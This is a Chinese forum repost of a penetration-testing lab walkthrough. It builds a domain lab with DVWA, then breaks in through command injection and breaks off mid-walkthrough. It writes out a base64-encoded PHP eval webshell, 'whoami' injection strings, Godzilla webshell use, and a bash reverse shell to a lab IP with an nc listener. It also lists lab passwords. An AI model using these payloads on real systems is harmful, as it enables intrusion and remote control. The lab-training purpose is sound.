搜索

[2061] 2021-03-01_跨平台beacon生成框架CrossC2

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2021-03-01_跨平台beacon生成框架CrossC2 跨 平 台 b e a c o n 生 成 框 架 C r o s s C 2 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 3 - 0 1 环 境 搭 建 环 境 搭 建 配 置 配 置   D C 只 用 一 块 网 卡
相 关 信 息 1 0 . 1 0 . 1 0 . 1 0 域 管 ： a d m i n i s t r a t o r / @ d m i n i s t r a t o r 2 0 2 1 配 置 配 置   C e n t o s 7 两 块 网 卡 ， 模 拟 内 外 网 相 关 信 息 内 网 ： 1 0 . 1 0 . 1 0 . 1 3 1 公 网 ： 1 9 2 . 1 6 8 . 1 2 9 . 1 3 6
账 号 ： c e n t o s / c e n t o s 入 域 入 域 配 置 D N S ,   没 有 配 置 的 话 无 法 识 别 域 名 s e a r c h   q w e . l o c a l   l o c a l d o m a i n n a m e s e r v e r   1 0 . 1 0 . 1 0 . 1 0 n a m e s e r v e r   1 9 2 . 1 6 8 . 1 2 9 . 2 修 改 主 机 名 c e n t t o s 7 . q w e . l o c a l r e b o o t 使 之 生 效 安 装 相 关 依 赖 y u m   i n s t a l l   - y   k r b 5 - w o r k s t a t i o n   r e a l m d   s s s d   s a m b a - c o m m o n   a d c l i   o d d j o b   o d d j o b - m k h o m e d i r   s a m b a   s a m b a - c o m m o n - t o o l s 加 入 域 控 服 务 器 ,   并 验 证 是 否 入 域 成 功 r e a l m   j o i n   - - u s e r = a d m i n i s t r a t o r   q w e . l o c a l r e a l m   l i s t
  也 可 以 在 W i n d o w s   A D 查 看 一 下 ， 看 这 台 C e n t O S 是 否 已 经 加 入 W i n d o w s   A D 启 动 启 动 w e b 服 务 服 务 安 装 安 装   p h p s t u d y + d v w a 下 载 并 安 装 p h p s t u d y y u m   i n s t a l l   - y   w g e t   & &   w g e t   - O   i n s t a l l . s h   h t t p s : / / n o t d o c k e r . x p . c n / i n s t a l l . s h   & &   s h   i n s t a l l . s h 相 关 信 息 外 网 ： h t t p : / / 1 0 1 . 2 2 4 . 2 1 0 . 2 4 7 : 9 0 8 0 / 6 9 C A 4 8 内 网 ： h t t p : / / 1 9 2 . 1 6 8 . 1 2 9 . 1 3 6 : 9 0 8 0 / 6 9 C A 4 8 系 统 初 始 账 号 ： a d m i n 系 统 初 始 密 码 ： 5 c q y Y q k y i w
下 载 D V W A w g e t   h t t p s : / / g i t h u b . c o m / e t h i c a l h a c k 3 r / D V W A / a r c h i v e / m a s t e r . z i p u n z i p   m a s t e r . z i p 修 改 配 置 m y s q l ： r o o t / r o o t c o n f i g . i n c . p h p 启 动 启 动     d v w a 前 台 :   a d m i n / p a s s w o r d
突 破 边 界 突 破 边 界 漏 洞 利 用 漏 洞 利 用 D V W A - C o m m a n d   I n j e c t i o n 发 现 可 以 执 行 p i n g 命 令 的 地 方 ， 抓 包 看 看 ： 大 概 率 存 在 命 令 注 入 ， 想 到 之 前 写 的 那 篇 r u i j i e 网 关 的 漏 洞 复 现   是 不 是 有 着 似 曾 相 识 的 感 觉 。 挨 个 尝 试 连 接 符 连 接 符   & 1 2 7 . 0 . 0 . 1 & w h o a m i
1 2 7 . 0 . 0 . 1 & p i n c   - c   2   d n s l o g . c n 注 意 ： l i n u x 下 执 行 p i n g   最 好 加 上 - c   参 数 ， 这 里 是 发 两 个 包 。 因 为 l i n u x 下 若 直 接 使 用 p i n g     d n s l o g . c n , 将 会 守 护 进 程 ， 一 直 发 包 ， 如 图 ： 尝 试 直 接 用 之 前 的 r u i j i e   r c e 的 利 用 姿 势
利 用 利 用 & 写 入 写 入 w e b s h e l l # < ? p h p   @ e v a l ( $ _ P O S T [ 1 ] ) ; ? >                                                                                                                                                   e c h o   " P D 9 w a H A g Q G V 2 Y W w o J F 9 Q T 1 N U W z F d K T s / P g = = "   | b a s e 6 4   - d   >   w e b s h e l l . p h p 访 问 一 下 ， 似 乎 成 功 写 入 了 执 行 命 令 测 试 1 = e c h o   1 ; 1 = s y s t e m ( w h o a m i ) ; 1 = s y s t e m ( w h o a m i ) ; 成 功 执 行 命 令 。 利 用 利 用 & 写 入 写 入 G o d z i l l a 的 的 利 用 哥 斯 拉 直 接 生 成
b a s e 6 4 加 密 ， 替 换 之 前 的 文 件 内 容 即 可 重 放 ， 访 问 ， 但 是 报 错 看 看 源 码 ：
估 计 是 这 里 出 错 了 ， 修 改 后 b a s e 6 4 加 密 重 放 ， 访 问 ： 应 该 是 成 了 ， 上 哥 斯 拉 试 一 试 另 1 种 姿 势 ， 直 接 反 弹 s h e l l 利 用 利 用 & 反 弹 反 弹 s h e l l 监 听 端 口 n c   - l n v p   7 7 7 7 将 s h e l l . s h b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 2 9 . 1 3 0 / 7 7 7 7   0 > & 1 部 署 在 服 务 端 ，
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理